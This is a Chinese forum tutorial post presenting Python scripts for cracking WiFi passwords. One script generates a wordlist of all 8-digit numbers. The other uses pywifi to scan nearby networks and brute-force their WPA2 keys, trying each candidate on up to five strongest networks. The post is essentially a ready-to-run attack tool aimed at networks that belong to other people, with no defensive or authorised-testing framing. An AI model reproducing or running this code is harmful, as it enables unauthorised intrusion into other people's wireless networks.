教程丨使用python3破解wifi密码(自写程序) |
|
饲养员
L0
• 2019-08-24 • 回复 7 • 只看楼主
• 举报
|
运行环境:win10 + python3.7
生成密码的代码如下:
import itertools as itsif __name__ == '__main__': words_num = "1234567890" words_letter = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz' r = its.product(words_num,repeat=8) dic = open("password-8位数字.txt","w") for i in r: dic.write("".join(i)) dic.write("".join("\n")) dic.close() print("完全写入成功")
运行破解密码代码如下:
import pywifiimport timeimport constantimport comtypesdef getwifi(wifilist,wificount): wifi = pywifi.PyWiFi() # 抓取网卡接口 ifaces = wifi.interfaces()[0] # 获取网卡 ifaces.scan() time.sleep(8) bessis = ifaces.scan_results() allwifilist = [] namelist = [] ssidlist = [] for data in bessis: if data.ssid not in namelist: #去掉重命名的wifi名称 namelist.append(data.ssid) allwifilist.append((data.ssid,data.signal)) sorted(allwifilist,key=lambda st:st[1],reverse=True) time.sleep(1) n = 0 if len(allwifilist) is not 0: for item in allwifilist: if(item[0] not in ssidlist) & (item[0] not in wifilist): n+=1 if n <= wificount: ssidlist.append(item[0]) print(allwifilist) return ssidlistdef getifaces(): wifi = pywifi.PyWiFi() # 抓取网卡接口 ifaces = wifi.interfaces()[0] # 获取网卡 ifaces.disconnect() # 断开无线网卡连接 return ifacesdef testwifi(ifaces,ssidname,password): profile = pywifi.Profile() # 创建wifi连接文件 profile.ssid = ssidname # 定义wifissid profile.auth = constant.const.AUTH_ALG_OPEN #网卡开放 profile.akm.append(constant.const.AKM_TYPE_WPA2PSK) #wifi加密算法 profile.cipher = constant.const.CIPHER_TYPE_CCMP #加密单元 profile.key = password #wifi密码 ifaces.remove_all_network_profiles()#删除其他所有配置文件 tmp_profile = ifaces.add_network_profile(profile)#加载配置文件 ifaces.connect(tmp_profile) #连接wifi time.sleep(5) # 5秒能否连接上 if ifaces.status() == constant.const.IFACE_CONNECTED: return True else: return Falsedef beginwork(wifinamelist): ifaces = getifaces() path = r'password-8位数字.txt' # wifi密码文件 files = open(path,'r') while True: try: password = files.readline() password = password.strip(' \n') if not password: break for wifiname in wifinamelist: print("正在尝试"+wifiname+','+password) if testwifi(ifaces,wifiname,password): wifinamelist.remove(wifiname) break if not wifinamelist: break except: continue files.close()if __name__ == '__main__': wifiname_e = ['HNIU'] #排除不破解的wifi的名字 wifinames = getwifi(wifiname_e,5) print(wifinames) beginwork(wifinames)